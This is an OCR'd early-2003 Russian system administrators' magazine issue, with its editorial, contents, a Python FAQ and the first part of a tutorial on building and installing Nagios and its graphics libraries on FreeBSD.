003 Системный Администратор 02 2003

Page 1

№2(3) февраль 2003 журнал для cистемных администраторов, вебмастеров и программистов

Империя Cisco Абсолютно все о технологии ISDN Практика OpenSSL Создание простейшей биллинговой системы Пакетный фильтр OpenLDAP и защита данных Безопасность технологии виртуальных карт



Кто такой «Системный администратор»? Этот вопрос мне приходится слышать все чаще и чаще. Ответ оказывается далеко не тривиальным, особенно при внимательном рассмотрении. Первые ассоциации, возникающие у различных людей при этом вопросе: системный администратор – «эникейщик», специальный человек, который бегает по офису и решает частые тривиальные проблемы пользователей (сам термин возник в период различных версий DOS, когда множество пользователей на надпись «Press any key to continue» нажимали на reset). Зачастую это либо студенты – начинающие системные администраторы, либо люди, для которых системное администрирование не основное занятие (я на такой работе видел поэта). При повышении профессионального уровня эти люди переходят в разряд выше. Следующий тип системных администраторов – человек, отвечающий за работу оргтехники в компании, обычно образование не ниже средне-специального, любит возиться с компьютерной техникой, часто собирает и разбирает эти конструкторы. В довесок протягивает локальные сети. В виде отдельной должности встречается в крупных компаниях. «Зачем вы печатаете статьи про настройку ПО?», – пишут они в редакцию, – «печатайте про настройку железа». Другие системные администраторы возражают. Это как раз те люди, которые отвечают за работоспособность системы, установку и настройку различных операционых систем. Дальше эта группа делится на людей, склонных к программированию, и просто администраторов. Администраторы, получившие подготовку по программированию, стремятся быстро все сделать руками, поправить неработающую процедуру установки, переписать некорректный скрипт. Им легче в *nix-системах, особенно открытых. Другой тип стремится использовать специализированные утилиты, но вряд ли полезет внутрь программы «ради интереса». Им вполне комфортно живется и под win-системами. Последний тип администраторов – «гуру», «отец», «душа компании» – совмещает в себе знание «железа» и «софта», обычно склонен к программированию, одна из почти обязательных сторон – веб-программирование. Написание и поддержка сайта на каком-либо скриптовом языке с использованием базы данных для него не является непосильной задачей. Попутно может настроить сеть так, что к ней не надо будет прикасаться в течение года. И самое главное, он может разговаривать с начальством. Может аргументированно обьяснить, почему требуется модернизация, рассчитать, к каким выигрышам это приведет, к каким потерям приведет её отсутствие. А как вы ответите на этот вопрос? Кто для вас «Системный админстратор»? Ждем ваших ответов и пожеланий на форуме нашего сайта WWW.SAMAG.RU.


содержание

Установка Nagios Андрей Бешков tigrisha@sysadmins.ru

6

32

Восстановление загрузки операционной системы Linux Андрей Шевченко andy_shev@mail.ru

Почтовый фильтр или Milter = Mail + Filter Роман Сузи rnd@onego.ru

15 Империя Cisco Денис Еланский grosm@samag.ru

16 Абсолютно все о технологии ISDN Сергей Ропчан fenix@sit-ua.com

38 Создание простейшей биллинговой системы Денис Мясниченко velial@trophy.com.ua

42 Устанавливаем Multiple-Device-дозвон в Windows XP Татьяна Антипова antipova@samag.ru

20

47

Как пингвин говорит по телефону, или Настройка dialin-сервера для доступа в Интернет и аварийной консоли Андрей Мозговой brain@m9.ru

Мифы и легенды современной ОCологии… или «ОС – это большой полосатый мух?» Александр Потемкин apotemkin@itinfo.spb.ru

26 2

Практика OpenSSL Всеволод Стахов CEBKA@smtp.ru

48


содержание

Брандмауэр (часть II) Владимир Мешков ubob@mail.ru

OpenLDAP и защита данных Всеволод Стахов CEBKA@smtp.ru

54

74

Пакетный фильтр Владимир Мешков ubob@mail.ru

Безопасность технологии виртуальных карт Сергей Ропчан fenix@sit-ua.com

60

86

Java: магия отражений (часть III) Компиляция Java средствами Java Даниил Алиевский daniel@siams.com

IMHO

64

Этика сисадмина Андрей Гуселетов gus@horizont.com.ua

90 FAQ Python

4, 93 FAQ MySQL

25 BUGTRAQ

85, 89, 94

№2(3), февраль 2003

3


FAQ Python ВОПРОС: Python распространяется по лицензии программного обеспечения с открытым исходным кодом, а можно ли для него писать коммерческие программы? ОТВЕТ: Лицензия на Python не ограничивает его использования в каких-либо проектах. Если в вашем продукте использован Python, достаточно указать этот факт как в самом продукте, так и в сопровождающей его документации. Подробности в лицензии.

ВОПРОС: Как превратить шестнадцатеричное представление IPадреса в строку байт? В «точечное» представление? ОТВЕТ:

ОТВЕТ: Объекты списка, участвующие в репликации, копируются поверхностно. Таким образом, список l состоит из двух «ссылок» на один и тот же объект. Соответственно, изменение этого объекта дает такой неожиданный результат.

ВОПРОС: Есть ли в Python тип данных массив? ОТВЕТ: Обычно в Python используется более гибкая встроенная структура данных – список. Если вам действительно нужны массивы, в стандартной библиотеке Python есть модуль array для работы с массивами чисел и символов. Для эффективной работы с массивами данных лучше использовать пакет Numeric Python. Его можно найти на http:/ /numpy.sourceforge.net.

import binascii binascii.a2b_hex(“E786AA80”) «.».join(map(str, map(ord, binascii.a2b_hex(“E786AA80”))))

Примечание: функция map(f, s) применяет функцию f к каждому элементу последовательности s.

ВОПРОС: Как из Python узнать IP-адрес хоста? ОТВЕТ: import socket socket.gethostbyname(“www.host.ru”)

ВОПРОС: С помощью какой функции можно проверить существование файла или каталога? ОТВЕТ: import os if os.access(«/path/to/file», os.F_OK): # ôàéë äîñòóïåí

ВОПРОС: В Python нет встроенного типа данных для множеств. Чем можно его заменить? ОТВЕТ: Множества можно легко эмулировать с помощью словарей: # èíèöèàëèçèðóåì äâà ìíîæåñòâà # (ïîâòîðû áóäóò àâòîìàòè÷åñêè óáðàíû, # òàê êàê îäíîìó êëþ÷ó ìîæåò ñîîòâåòñòâîâàòü # òîëüêî îäíî çíà÷åíèå) set = {} for e in [1,2,3,4,1,5,6,1,4]: set[e] = 1 set1 = {} for e in [3,4,5,6]: set1[e] = 1 set.keys() # ñïèñîê ýëåìåíòîâ ìíîæåñòâà set.has_key(5) # ïðîâåðêà ïðèíàäëåæíîñòè ìíîæåñòâó set.update(set1) # îáúåäèíåíèå ìíîæåñòâ (ðåçóëüòàò â set) # ïåðåñå÷åíèå ìíîæåñòâ: set2 = {} for e in set.keys(): if set1.has_key(e): set2[e] = 1

Кроме того, класс множество с различными операциями можно легко запрограммировать. См., например, рецепт на http://aspn.activestate.com/ASPN/Cookbook/Python/ Recipe/106469.

ВОПРОС: Как убрать проценты из записи URL? ОТВЕТ: import urllib urllib.unquote(«http://www.host.ru/ %61%62%63»)

ВОПРОС: Как в Python 2.x изменить кодировку текста в строке? ОТВЕТ: Например, перекодировку из KOI8-R в CP1251 можно сделать посредством Unicode: unicode(«ÂÎÏÐÎÑ», «koi8-r»).encode(«cp1251»)

ВОПРОС: Почему получается такой результат? >>> l = [[0]*2]*2 >>> l [[0, 0], [0, 0]] >>> l[0][0] = 1 >>> l [[1, 0], [1, 0]]

4

ВОПРОС: Как вставить в строку значения переменных по аналогии с «$var» в Perl или sh? ОТВЕТ: Можно использовать операцию форматирования и словарь переменных vars() следующим образом (для иллюстрации команды выполнены в диалоговом режиме интерпретатора Python): >>> a, b, c = 2, «text», 12.4 >>> print «»»a: %(a)05i, b: %(b)s, c: %(c)8.2f»»» % vars() a: 00002, b: text, c: 12.40

Для строкового литерала были использованы утроенные кавычки: это позволяет использовать внутри строки одиночные кавычки и апострофы без дополнительного экранирования, а также задавать текст на нескольких строках. Составил Роман Сузи



администрирование

УСТАНОВКА NAGIOS АНДРЕЙ БЕШКОВ С увеличением размера подконтрольных сетей перед каждым администратором встает вопрос о создании единой системы мониторинга серверов и сервисов. Внедрение такой системы позволит повысить производительность работы компании и уменьшить время простоя оборудования. Несмотря на свои неоспоримые достоинства, коммерческие системы вроде Solar Winds, 3COM Network Superviser и HP OpenView в данной статье рассматриваться не будут из-за своих довольно высоких цен. В Сети существует множество бесплатных систем мониторинга. Наиболее известными являются Nagios, Big Brother, Angel Network Monitor, HiWayS, MARS, Autostatus, NocMonitor, RITW. Для выполнения вышеописанной задачи мы будем использовать инструмент по имени Nagios.

Давайте рассмотрим главные задачи системы мониторинга. Она должна оповещать администратора с помощью электронной почты, пейджера или sms-сообщений, если с наблюдаемыми объектами случаются какие-либо неприятности. Также оповещения должны отсылаться, когда состояние объекта возвращается в норму. Вдобавок ко всем способам, перечисленным выше, Nagios позволяет использовать в качестве инструмента оповещения программы, разработанные пользователями. Перед тем как мы станем более подробно обсуждать возможности Nagios, вам стоит посмотреть на демонстрационную систему, которую Tom Welsh установил специально для этих нужд. Быстренько идем на сайт http://nagios.squarebox.com/. Для авторизации используем имя пользователя guest и пароль guest. Набродившись по разным меню и полюбовавшись на все красоты веб-интерфейса, давайте поговорим о достоинствах Nagios. На основе увиденного мы можем сделать выводы: Nagios позволяет производить мониторинг таких сетевых сервисов, как SMTP, TELNET, SSH, HTTP, DNS, POP3, IMAP, NNTP и многих других.

6

Можно следить за использовани-

ем ресурсов серверов, таких как расход дискового пространства, свободная память и загруженность процессора. Существует возможность создавать свои собственные обработчики событий.

Эти обработчики будут выполняться при возникновении тех или иных событий, инициированных проверками сервисов или серверов. Такой подход позволит активно реагировать на происходящие события и пытаться автоматически решать возникшие проблемы. К примеру, можно создать обработчик событий, который будет самостоятельно перезапускать повисший сервис. Еще одним достоинством системы мониторинга Nagios является возможность управлять ею удаленно с помощью wap-интерфейса мобильного телефона. Используя концепцию “родительских” хостов, легко описать иерархию и зависимости между всеми хостами. Такой подход чрезвычайно полезен для больших сетей, потому что позволяет производить сложную диагностику. А это качество, в свою очередь, помогает отличить неработающие хосты от тех, что недоступны в данный момент из-за непо-

ладок в работе промежуточных звеньев. Nagios умеет строить графики работы наблюдаемых систем и карты контролируемой сетевой инфраструктуры. Из своей практики работы с Nagios приведу пример, показывающий, насколько полезен он оказался для меня. На внешнем сетевом интерфейсе нашего брандмауэра с периодичностью в несколько часов начиналась потеря пакетов. Из-за неисправности терялось до 20% проходящего трафика. По истечении минуты-другой интерфейс снова начинал работать как положено. По причине плавающего характера этой неполадки несколько недель я не мог понять, почему при работе с Интернетом периодически происходят кратковременные сбои. Без Nagios поиск неисправности затянулся бы надолго. Многим из администраторов хорошо знаком предок Nagios по имени NetSaint. Несмотря на то что сайт проекта NetSaint все еще исправно функционирует, новые разработки базируются уже на исходном коде Nagios. Поэтому всем рекомендуется потихоньку перебираться на Nagios. Изначально проект разрабатывался для Linux, но наша система мониторинга будет работать на основе FreeBSD 4.5. В документации, поставляемой с


администрирование Nagios, говорится, что он будет стабильно работать и со многими другими Unix-подобными системами. Для отображения веб-интерфейса Nagios нам понадобится сервер Apache. Вы вольны использовать любой другой, но в данной статье будет рассматриваться именно Apache, как наиболее распространенный на Unix-платформах веб-сервер. Можно установить систему мониторинга вообще без вебинтерфейса, но мы так делать не станем, потому что это существенно уменьшает удобство пользования. Для создания графиков нам понадобится библиотека GD Graphics, которую написал Thomas Boutell. Она необходима для создания изображений в формате PNG, JPEG и WBMP. WBMP чаще всего используется клиентами беспроводных устройств. Подавляющее большинство браузеров пока не умеет работать с WBMP, поэтому для нас он интереса не представляет. До перехода на версию 2.0.6 была возможность работать с форматом GIF, но от нее пришлось отказаться из-за проблем с патентным законодательством. Для сжатия информации внутри изображений GIF используется алгоритм LZW. Эксклюзивными правами на него обладает Unisys. В связи с вышеуказанными проблемами, сетевому сообществу рекомендуется использовать свободные от подобных неудобств форматы PNG и JPEG. В свою очередь, библиотека GD опирается на библиотеки zlib, LibPng и jpeg. У нас есть три пути, следуя которым мы можем установить все необходимые библиотеки. В статье они будут подробно описаны по очереди. Я люблю все собирать и устанавливать вручную, потому как подобный подход дает более полное понимание происходящих процессов и возможность использовать самое свежее программное обеспечение. Итак, начнем нашу эпопею со способа, красноречиво называемого в народе «закат солнца вручную». Первый ингредиент – библиотека zlib, написанная двумя программистами – Jean-loup Gailly и Mark Adler. Она проектировалась как API общего назначения для сжатия данных без потерь. Как ни странно, но в нашем проекте она будет использоваться по своему прямому назначению, то есть для

№2(3), февраль 2003

сжатия изображений. Берем новейшую версию http://www.gzip.org/zlib/. На момент написания это была 1.1.4. Распаковываем и компилируем. # # # # #

tar zvxf zlib-1.1.4.tar.gz cd zlib-1.1.4 ./configure make test make install

Как вы могли бы предположить, LibPng служит для создания изображений в формате PNG. Я использовал версию 1.2.5. Взять ее можно на сайте: http://www.graphicswiz.com/ png/libpng.html. Собирается LibPng довольно-таки странным и нестандартным путем. # tar zxvf libpng-1.2.5.tar.gz # cd libpng-1.2.5

Ориентируясь на тип операционной системы, из директории scripts выбираем нужный нам makefile и копируем его в директорию с исходными файлами. Для нашего случая исходный файл называется makefile.freebsd. # cp ./scripts/makefile.freebsd makefile

Затем создаем директорию zlib и кладем в нее из дистрибутива zlib все файлы с расширением *.h: # mkdir zlib

Вот теперь можно проводить компиляцию. Что мы с радостью выполняем. # make all # make test

В результате на экране вы должны увидеть что-то вроде этого: Testing pngtest.png: Pass 0: rwrwrwrwrwrwrwrwrw Pass 1: rwrwrwrwrwrwrwrwrw Pass 2: rwrwrwrwrwrwrwrw Pass 3: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrw Pass 4: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrw Pass 5: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrw Pass 6: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrw PASS (9782 zero samples) Filter 0 was used 21 times Filter 1 was used 15 times Filter 2 was used 52 times

Filter 3 was used 10 times Filter 4 was used 33 times tIME = 7 Jun 1996 17:58:08 +0000 Current memory allocation: 0 bytes Maximum memory allocation: 337346 bytes Total memory allocation: 1023516 bytes Number of allocations: 198 libpng passes test mkdir /usr/local/include/libpng

И наконец, пришло время инсталляции. Тут уж все должно пройти легко и просто. # make install

Теперь берем по адресу http:// www.ijg.org/files/ библиотеку jpeg версии 6b. Я надеюсь, самые догадливые читатели уже поняли, что она понадобится нам для создания изображений в формате jpeg. Поверив моим заявлениям о том, что процедура установки довольно проста, начнем ее выполнение. # # # #

tar zxvf jpegsrc.v6b.tar.gz cd jpeg-6b ./configure make

После тестовой сборки должны увидеть такую картину: # make test rm -f testout* ./djpeg -dct int -ppm -outfile testout.ppm ./testorig.jpg ./djpeg -dct int -bmp -colors 256 -outfile testout.bmp ./testorig.jpg ./cjpeg -dct int -outfile testout.jpg ./testimg.ppm ./djpeg -dct int -ppm -outfile testoutp.ppm ./testprog.jpg ./cjpeg -dct int -progressive -opt -outfile testoutp.jpg ./testimg.ppm ./jpegtran -outfile testoutt.jpg ./ testprog.jpg cmp ./testimg.ppm testout.ppm cmp ./testimg.bmp testout.bmp cmp ./testimg.jpg testout.jpg cmp ./testimg.ppm testoutp.ppm cmp ./testimgp.jpg testoutp.jpg cmp ./testorig.jpg testoutt.jpg

Следующей командой устанавливаем библиотеку jpeg. # make install

Наконец, после всех этих мытарств, можно заняться инсталляцией библиотеки GD. Скачиваем исходные тексты с сайта проекта http://www.boutell.com/gd/. Как всегда, распаковываем и конфигурируем дистрибутив.

7


администрирование # tar zxvf gd-2.0.6.tar.gz # cd gd-2.0.6 # ./configure --x-includes=/usr/ local/include --x-libraries=/usr/ local/lib

обеспечения. В CD-привод кладем компакт диск с пакетами и запускаем программу sysinstall. # /stand/sysinstall

Ключи –x-includes и –x-libraries указывают скрипту конфигурации, где у нас находятся заголовочные и библиотечные файлы всех установленных ранее библиотек. # make all

Если компиляция завершилась с ошибками, то нам необходимо удалить временные файлы, созданные в процессе работы команды make. # make devclean

После выполнения чистки нужно принять меры к устранению причин возникновения ошибок. При необходимости подправьте ключи команды configure, а затем проведите повторную компиляцию. И если предыдущие шаги завершились нормально, запускаем инсталляцию. # make install

Теперь давайте обсудим второй способ установки. При наличии устойчивого соединения с Интернетом можно попытаться установить библиотеки GD, zlib, LibPng и jpeg с помощью механизма портов. Мы запустим установку GD, а она, в свою очередь, автоматически выполнит скачивание, компиляцию и установку всех необходимых библиотек на основе зависимостей между ними. # cd /usr/ports/graphics/gd # make install

Третий способ установки не требует подключения к сети Интернет. Скорее всего, он является самым простым и, видимо, лучше всего подходит для начинающих администраторов. Как и во втором способе, все необходимое будет автоматически установлено из пакетов, поставляющихся вместе с операционной системой FreeBSD. По аналогии со вторым способом за удобство придется заплатить свежестью устанавливаемого программного

8

А затем, последовательно пройдя через все перечисленные ниже меню, выполняем инсталляцию. Configure->Packages->CD/DVD>graphics->gd-1.8.4_3->ok->install->ok

Аналогичного эффекта можно добиться, используя команду pkg_add. Посмотрим, куда у нас все это установилось. Файлы библиотек лежат в /usr/local/lib, а заголовочные файлы в – /usr/local/include/gd. Не стоит огорчаться, если, несмотря на все попытки, библиотеку GD не удалось установить ни одним из трех способов. Хотя я с трудом представляю, как такое возможно. Отложите установку до лучших времен. Наличие вышеназванных библиотек необходимо только для правильной работы модулей построения графиков и генерирования сетевой карты. Nagios работает стабильно и остается очень полезным инструментом даже без этих модулей. Пришло время детально разобраться с архитектурой системы мониторинга. Обычно комплекс на основе Nagios состоит из двух частей: главной программы, в документации чаще всего называемой core program, и подключаемых модулей, соответственно plugins. Модульный дизайн позволяет отделить логику основной программы от процесса выполнения проверок. Это, в свою очередь, дает возможность всем желающим без особых усилий расширять область применения Nagios через написание собственных подключаемых модулей. Скачиваем последнюю версию главной программы и подключаемых модулей с официального сайта проекта http://www.nagios.org/download. На момент написания статьи были доступны версии nagios-1.0b6 и nagiosplug-1.3-beta1. Засучив рукава, приступим к установке главной программы. # tar zxvf nagios-1.0b6.tar.gz # cd nagios-1.0b6

Теперь нужно решить, в какой каталог мы хотим инсталлировать Nagios. По умолчанию предполагается каталог /usr/local/nagios/. Думаю, нам тоже стоит придерживаться его, потому что в прилагающейся к дистрибутиву документации указан именно этот каталог. При последующем устранении ошибок или проблем с конфигурированием будет гораздо проще читать документацию. Создаем каталог, куда мы впоследствии будем проводить инсталляцию. Не совсем понятно, почему ее должен создавать администратор, а не программа инсталляции. Надеюсь, в следующих версиях этот недочет будет исправлен. # mkdir /usr/local/nagios

С помощью скрипта adduser либо каким-нибудь другим способом создаем пользователя nagios, состоящего в группе nagios. # adduser nagios # ./configure --prefix=/usr/local/ nagios --with-cgi-url=/nagios/cgi-bin --with-html-url=/nagios/ \ --with-nagios-user=nagios --withnagios-grp=nagios --with-gd-lib=/usr/ local/lib \ --with-gd-inc=/usr/local/include/gd

Давайте быстренько разберемся с назначением используемых при конфигурировании ключей. —prefix=/usr/local/nagios – сюда мы будем устанавливать файлы после компиляции. Вот и пригодилась созданная вручную директория /usr/local/nagios. —with-cgi-url=/nagios/cgi-bin – URL, с помощью которого мы будем обращаться к CGI-скриптам веб-интерфейса nagios. В конце URL символ «/» добавлять не нужно. В качестве примера для вымышленного сайта somesite.ru можно привести абсолютный URL одного из CGI-скриптов httt://somesite.ru/ nagios/cgi-bin/statusmap.cgi. —with-html-url=/nagios/ – URL, где будут находиться html-файлы, в которых хранятся главное меню вебинтерфейса и документация. —with-nagios-user=nagios – пользователь, которому будут принадлежать файлы инсталляции. —with-nagios-grp=nagios – соответственно группа этого пользователя.


администрирование —with-gd-lib=/usr/local/lib – тут у нас

лежит библиотека GD. —with-gd-inc=/usr/local/include/gd – а здесь находятся ее заголовочные файлы.

Осмыслив все прочитанное и разобравшись с опциями команды configure, проводим сборку и инсталляцию. # make all # make install

*** Error code 67 Stop in /tmp/nagios-1.0b6.

Жаль, но установка с наскоку не удалась. Ну и ладно, вот исправим ошибки программистов, писавших скрипт, и все заработает как надо. С помощью любимого текстового редактора начинаем редактировать файл Makefile. Идем на строку 32 и ищем символы: INIT_OPTS=-o root -g root

Следующий шаг является необязательным, но желательно его все же выполнить. С помощью команды make install-init можно создать скрипт, который будет выполнять запуск Nagios после перезагрузки системы. Вдобавок к этому у нас появится возможность управлять работой процесса Nagios с помощью команд stop, reload, start, restart, reload, force-reload. Давайте подробнее рассмотрим каждую из этих команд: start – запускает процесс Nagios; stop – останавливает текущий процесс Nagios; restart – останавливает выполняющийся процесс Nagios и запускает новый; reload – отправляет процессу Nagios сигнал SIGHUP, заставляя его перечитать конфигурационные файлы, а затем продолжить мониторинг; force-reload – производит принудительную перезагрузку конфигурационных файлов; status – показывает статус работающего процесса. Для FreeBSD файл скрипта должен располагаться в директории /usr/local/ etc/rc.d и называться nagios.sh. В зависимости от типа операционной системы, инсталлятор должен сам выбрать подходящие права доступа, местоположение и имя скрипта. Например, для систем на основе Slackware должны получить соответственно /etc/rc.d/init.d и rc.nagios. Ну что же, давайте попытаемся выполнить установку скрипта. # make install-init

Получаем следующие ошибки: /usr/bin/install -c -m 755 -d -o root -g root /usr/local/etc/rc.d install: unknown group root

№2(3), февраль 2003

Обдумав увиденную строку, понимаем, что под FreeBSD пользователь root входит в группу wheel. Вносим изменения.

Внесенными изменениями мы заставляем nagios.sh, запущеный без обязательных параметров, рекурсивно выполнить самого себя с параметром start. Еще одна ошибка – это путь к файлу, в котором будут храниться внешние команды, переданные на выполнение процессу Nagios. После инсталляции подразумевается, что файл должен располагаться в /usr/local/ nagios/var/rw/nagios.cmd. Но, к сожалению, директория /usr/local/nagios/ var/rw/ автоматически не создается. К тому же не совсем понятен смысл создания отдельной директории для единственного файла nagios.cmd. Чтобы исправить вышеуказанную ошибку, ищем строку:

INIT_OPTS=-o root -g wheel

Переходим на строку 154: $(INSTALL) -m 774 $(INIT_OPTS) daemon-init $(DESTDIR)$(INIT_DIR)/ nagios

NagiosCmd=${prefix}/var/rw/ nagios.cmd

и заменяем ее на такую: NagiosCmd=${prefix}/var/nagios.cmd

Правильно задаем имя файла nagios.sh вместо nagios. Не стоит давать общий доступ на чтение для файла скрипта. Вполне хватит режима доступа 100. Измененная строка будет выглядеть так: $(INSTALL) -m 100 $(INIT_OPTS) daemon-init $(DESTDIR)$(INIT_DIR)/ nagios.sh

Сохраняем файл и снова выполняем команду инсталляции. # make install-init

Итак, скрипт автозапуска создан, но он все еще не готов к работе. Все дело в том, что при перезагрузке файл nagios.sh будет выполнен без единого параметра командной строки, а для безукоризненной работы нужно запускать его с параметром start. Сейчас мы это исправим. Открываем файл для редактирования и выполняем поиск строки: echo "Usage: nagios {start|stop|restart|reload|forcereload|status}"

Затем сразу после нее вставляем вот это: /usr/local/etc/rc.d/nagios.sh start

Теперь файл nagios.cmd будет создаваться в директории /usr/local/ nagios/var/. К сожалению, это не последняя проблема, связанная с файлом nagios.cmd. При каждом перезапуске процесса Nagios файл внешних команд сначала удаляется, а затем создается вновь. Беда в том, что создается nagios.cmd с правами процесса. Соответственно, он принадлежит пользователю nagios и группе nagios. На первый взгляд, здесь нет никакой проблемы. Поразмышляв некоторое время, мы понимаем, что главным поставщиком внешних команд для процесса Nagios будет веб-интерфейс. Сервер Apache обычно запускается с правами пользователя nobody группы nogroup. А это значит, что процесс веб-сервера не сможет вносить новые данные в файл nagios.cmd. Самым простым решением было бы дать доступ на запись всем, но с точки зрения безопасности такое решение выглядит довольно неприглядно. Вторым способом разрешения конфликта могло бы стать введение пользователя nobody в группу nagios. Но с безопасностью опять возникают неувязки. Самым лучшим выходом из этой ситуации является

9


администрирование частичная передача прав на файл пользователю nobody. В результате такой операции файлом должен владеть пользователь nobody и группа nagios. Таким образом, доступ к файлу получат и процесс nagios, и вебсервер. Ищем в файле nagios.sh вот такие строки: sleep 1 status_nagios nagios

и добавляем сразу за ними команду: chown nobody $NagiosCmd

Покончив с файлом nagios.sh, можно быть уверенным, что уж теперь-то он будет работать как положено. Заглянув в директорию /usr/local/ nagios/, мы видим, что после инсталляции внутри нее образовалось еще 5 директорий. # ls bin

/usr/local/nagios etc sbin share

var

Опишем, для чего нужна каждая из этих директорий: bin – здесь находится выполняемый файл основной программы. Он же демон Nagios; etc – конфигурационные файлы; sbin – тут лежат файлы CGI для веб-интерфейса; share – здесь находятся html-файлы веб-интерфейса и документация; var – файлы протоколов и данные о состоянии проверяемых объектов. С помощью команды make installconfig создаем файлы конфгурации, заполняем их значениями по умолчанию и помещаем в директорию /usr/ local/nagios/etc/. # make install-config

Можете поздравить себя с окончанием установки главной программы Nagios. Можно было сделать все то же самое с помощью портов или пакетов. К сожалению, на такой способ установки времени у меня не хватило. Поэтому сказать об удобстве или подводных камнях такого пути ничего не могу. Есть подозрение, что возможно

10

возникновение проблем с конфигурированием, да и свежесть установленного программного обеспечения будет весьма сомнительна. Еще одной причиной не использовать порты стало желание заняться русификацией системы. Подробнее о результатах этого эксперимента будет рассказано в следующей статье. Несмотря на то что инсталляция главной программы закончена, толку нам от этого пока никакого. Без установленных модулей Nagios совершенно бесполезен, так как не имеет возможности взаимодействовать с объектами, за которыми нужно наблюдать. Настало время приняться за инсталляцию этих самых модулей. С помощью make, поставлявшегося вместе с операционной системой, собрать их не удалось. Посему для компиляции будем пользоваться gmake. # tar zxvf nagiosplug-1.3beta1.tar.gz # cd nagiosplug-1.3-beta1 # ./configure --prefix=/usr/local/ nagios --with-nagios-user=nagios -with-nagios-grp=nagios

Значение ключей конфигурации аналогично тем, что мы использовали при компиляции главной программы. Почитать детальные объяснения о назначении каждого ключа можно с помощью команды ./configure –help. # gmake all # gmake install

После компиляции подключаемые модули устанавливаются в директорию /usr/local/nagios/libexec. Некоторые из них написаны на С, другие на perl. В принципе модуль может быть написан на любом языке. Каждый модуль является выполняемым файлом. Это дает возможность использовать модули не только в комплексе с Nagios, но и с другими программами. Можно выполнять проверки даже из командной строки. Каждый модуль должен поддерживать опцию –help или -h, иначе он не может считаться совместимым с Nagios. Такие жесткие требования позволяют легко разобраться с любым модулем. Давайте посмотрим, какие параметры командной строки должен получать модуль check_dns.

# check_dns -h check_dns (nagios-plugins 1.3.0alpha1) 1.1.1.1 The nagios plugins come with ABSOLUTELY NO WARRANTY. You may redistribute copies of the plugins under the terms of the GNU General Public License. For more information about these matters, see the file named COPYING. Copyright (c) 1999 Ethan Galstad (nagios@nagios.org) Usage: check_dns -H host [-s server] [-t timeout] check_dns --help check_dns --version -H, --hostname=HOST The name or address you want to query -s, --server=HOST Optional DNS server you want to use for the lookup -t, --timeout=INTEGER Seconds before connection times out (default: 10) -h, --help Print detailed help -V, --version Print version numbers and license information This plugin uses the nslookup program to obtain the IP address for the given host/domain query. A optional DNS server to use may be specified. If no DNS server is specified, the default server(s) specified in /etc/resolv.conf will be used.

Прочитав и обдумав вывод предыдущей команды, можно понять, что модуль check_dns принимает один обязательный параметр –H и два необязательных параметра -s, -t. Итак, по порядку: –H – имя или адрес проверяемого хоста. В параметре -s определяется адрес сервера DNS, используемого для перевода имени в адрес, если в первом параметре вместо адреса передано имя хоста. Затем -t устанавливает тайм-аут, по истечении которого служба считается нефункционирующей. Для проверки сервиса DNS машины с адресом 192.168.10.254 нужно выполнить следующую команду: # check_dns -H 192.168.10.254 DNS ok - 0 seconds response time, Address(es) is/are 192.168.10.254

Инт уиция с транным образом подсказывает мне, что DNS работает нормально. Закончив установку и разобравшись с механизмом работы подключаемых модулей, перейдем к настройке Nagios. Давайте осмотрим содержимое директории конфигурационных файлов. # cd /usr/local/nagios/etc


администрирование # ll total 92 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw---Nov 11 15:41 -rw-rw-r-Nov 11 15:41 -rw-rw-r-Nov 11 15:41

-rw-rw-r-- 1 nagios nagios Nov 11 16:13 timeperiods.cfg 1 nagios nagios 17028 cgi.cfg-sample 1 nagios nagios 4480 checkcommands.cfg-sample 1 nagios nagios 1577 contactgroups.cfg-sample 1 nagios nagios 1485 contacts.cfg-sample 1 nagios nagios 1651 dependencies.cfg-sample 1 nagios nagios 2022 escalations.cfg-sample 1 nagios nagios 1658 hostgroups.cfg-sample 1 nagios nagios 5774 hosts.cfg-sample 1 nagios nagios 4277 misccommands.cfg-sample 1 nagios nagios 21332 nagios.cfg-sample 1 nagios nagios 3074 resource.cfg-sample 1 nagios nagios 17668 services.cfg-sample 1 nagios nagios 1594 timeperiods.cfg-sample

В названии каждого файла есть фрагмент -sample, значит, все вышеперечисленные файлы являются не полноценными конфигурациями, а всего лишь примерами. На случай, если нам вдруг захочется посмотреть, что там у них внутри, скопируем их в директорию sample. Может быть, когда-то они нам еще пригодятся. # mkdir sample # cp * ./sample

Переименовываем все файлы, отсекая цепочку символов –sample. Таким образом мы готовим файлы к тому, чтобы Nagios смог их заметить и правильно воспринять. В результате должно получиться что-то вроде: # ll total 94 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw-r-Nov 11 16:13 -rw-rw---Nov 11 16:13 drwxr-xr-x Nov 11 16:07 -rw-rw-r-Nov 11 16:13

1 nagios nagios cgi.cfg 1 nagios nagios checkcommands.cfg 1 nagios nagios contactgroups.cfg 1 nagios nagios contacts.cfg 1 nagios nagios dependencies.cfg 1 nagios nagios escalations.cfg 1 nagios nagios hostgroups.cfg 1 nagios nagios hosts.cfg 1 nagios nagios misccommands.cfg 1 nagios nagios nagios.cfg 1 nagios nagios resource.cfg 2 root nagios sample 1 nagios nagios services.cfg

№2(3), февраль 2003

17028 4480 1577 1485 1651 2022 1658 5774 4277 21332 3074

